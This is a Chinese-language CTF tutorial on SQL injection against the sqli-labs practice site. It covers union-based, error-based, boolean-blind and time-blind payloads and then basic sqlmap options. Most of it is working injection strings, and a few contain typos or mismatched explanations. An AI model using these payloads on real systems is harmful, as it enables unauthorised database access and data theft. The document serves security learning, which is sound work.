【CTF-web】sql注入及sqlmap使用
1. sql注入流程
判断闭合符
1 and 1=1
、1 and 1=2
、1 or 1=1
判断列数
1 order by 1
/2
/3
判断显示位
?id=-1 union select 1,2
获取所有数据库名
select schema_name FROM information_schema.schemata limit 0,1
每次只能输出一个,
limit 0,1
第一个数据库名;limit 10,1
第十一个数据库名
获取当前数据库名
?id=-1 union select 1,database()
获取一个数据库中所有表名
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')
获取一个表中所有字段名
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')
获取一格数据
?id=-1 union select 1,(select group_concat(字段名) from 表名)
2. 报错注入
没有显示位 -> 报错注入:
floor(数字):向下取整函数:(得到的回显能最长64位)
and (select 1 from (select count(*),concat((查询语句),floor (rand(0)*2))x from information_schema.tables group by x)a)
updatexml(要修改的XML类型的数据,指定要修改的节点位置,新的节点值):用于修改XML类型的数据,更新XML数据中的一个或多个节点值
and updatexml(1,(查询语句),1)
ExtractValue(xml文件名,查询的字符串):用于查询字符串
and extractvalue(1, (查询语句))
查询语句可参考上面的payload
流程:
数据库名:
用floor:
http://sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
用extractvalue:
http://sqli-labs/Less-5/?id=1' and extractvalue(0x0a,concat(0x0a,(select database()))) --+
表名:
用floor:
http://sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="表名" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
用extractvalue:
http://sqli-labs/Less-5/?id=1' and extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'))) --+
字段名:
http://sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = '表名' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
数据:
http://sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT 字段名 FROM 数据库.表名),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
3. 布尔盲注
报错注入->只有统一的报错信息->布尔盲注:
substr(str,start,length)截取函数,把str字符串从start(从1开始)截取length位长度
left(str, length)截取函数,从左截取str,length长度
right(str, length)截取函数
length(str)字符串长度
str如果是表达式,需要用括号
ascii(char)转化函数,返回char的ascii码
ord(char)转换函数,作用同ascii(char)
思路:
求数据库名长度及ASCII -> 求当前数据库表的ASCII -> 求当前数据库表中的个数 -> 求数据库中表名的长度 -> 求数据库中表名 -> 求列名的长度 -> 求列名的ASCII -> 求字段的数量 -> 求字段的长度 -> 求字段内容的ASCII
流程:
一、 求数据库名长度及ASCII
数据库名长度
?id=1' and (length(database())=8) --+
ASCII
?id=1' and substr(database(),1,1)='s' --+
第一位是s?
?id=1' and ascii(substr(database(),2,1))=101 --+
第二位的ASCII码是101?
二、求一个数据库表中的个数、每个表名的长度,每个表名
求数据库中表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema = '数据库名')=4 --+
该数据库下,table共有4个
?id=1' and (length((select table_name from information_schema.tables where table_schema='数据库名' limit 4,1)))>0 --+
当4个表时报错,说明只有4个table
求这个库每个表名字的长度
id= 1' and length((selcect table_name from information_schema.tables where table_schema='数据库名' limit 0,1))=6--+
查看该数据库的第0+1个表的长度是不是6
求数据库一个表的名字
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))=101 --+
数据库的第0个表名开始,偏移取1个
表名的第1位字符,偏移1位
这个字符的ascii=101?
三、得到一个表的字段数和每个字段名的长度,得到字段名
求该表的列数
?id=1' and (length((select column_name from information_schema.columns where table_name='得到的表名' limit 2,1)))>0--+
该表的第2+1列的列名长度大于0吗(存不存在)
求一个列名长度
?id=1' and (length((select column_name from information_schema.columns where table_name='表名' limit 0,1)))=2--+
user表的第0+1列的长度大于2
求字段名
?id=1' and ascii(substr((select colum_name from information_schema.columns where table_name='表名' limit 0,1),1,1))=105--+
四、得到一个字段名的长度和字段名
求字段名长度
?id = 1' and(length((select username from users limit 0,1)))=4--+
求字段名
?id=1' and ascii(substr((select username from user limit 0,1),1,1))=68--+
4. 时间盲注
连报错信息都没有,只能靠判断正确/错误时,触发的时间延迟函数,证明前面的判断正误。
if(条件,正确语句,错误)
sleep(数字):延迟多少秒
payload:?id=1" and if(length(database())=8,sleep(10),1) --+
思路同布尔盲注
5. sqlmap使用
下载:从Github官网下载或使用
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
下载使用:在下载好的文件里打开cmd
指令:
python sqlmap.py -u 'URL'
URL为待测试网址。最基础且常用的指令
如出现
[WARNING] your sqlmap version is outdated
,意为版本落后,使用python sqlmap.py --update
指令更新
python sqlmap.py -u 'URL' --batch
作用同上,但是不用每次手动确认了。python sqlmap.py -u 'URL' --flush-session
每次执行时会产生session文件用于保存,避免重复测试,直接加载已有测试结果;而--flush-session
后,清除已保存的session,重新测试python sqlmap.py -u 'URL' --dbs
枚举目标数据库中存在的所有数据库python sqlmap.py -u 'URL' --dbms=MySQL
指定数据库类型为MySQL,当然也可替换为:
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
Informix
MariaDB
Percona
MemSQL
TiDB
CockroachDB
HSQLDB
H2
MonetDB
Apache Derby
Amazon Redshift
Vertica
Mckoi
Presto
Altibase
MimerSQL
CrateDB
Greenplum
Drizzle
Apache Ignite
Cubrid
IRIS
eXtremeDB
FrontBase
python sqlmap.py -u 'URL' --level 数字1到5
以相应数字等级测试,越大越强,默认为1python sqlmap.py -u 'URL' --data "id=1"
以post传参,传入id=1
python sqlmap.py -u 'URL' --cookie "cookie值"
指定cookie测试
python sqlmap.py -u 'URL' --technique B
使用布尔盲注测试,此外B还可替换为:
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
*. 宽字节、堆叠、二次、DNSlog、异或注入,SQL注入文件读写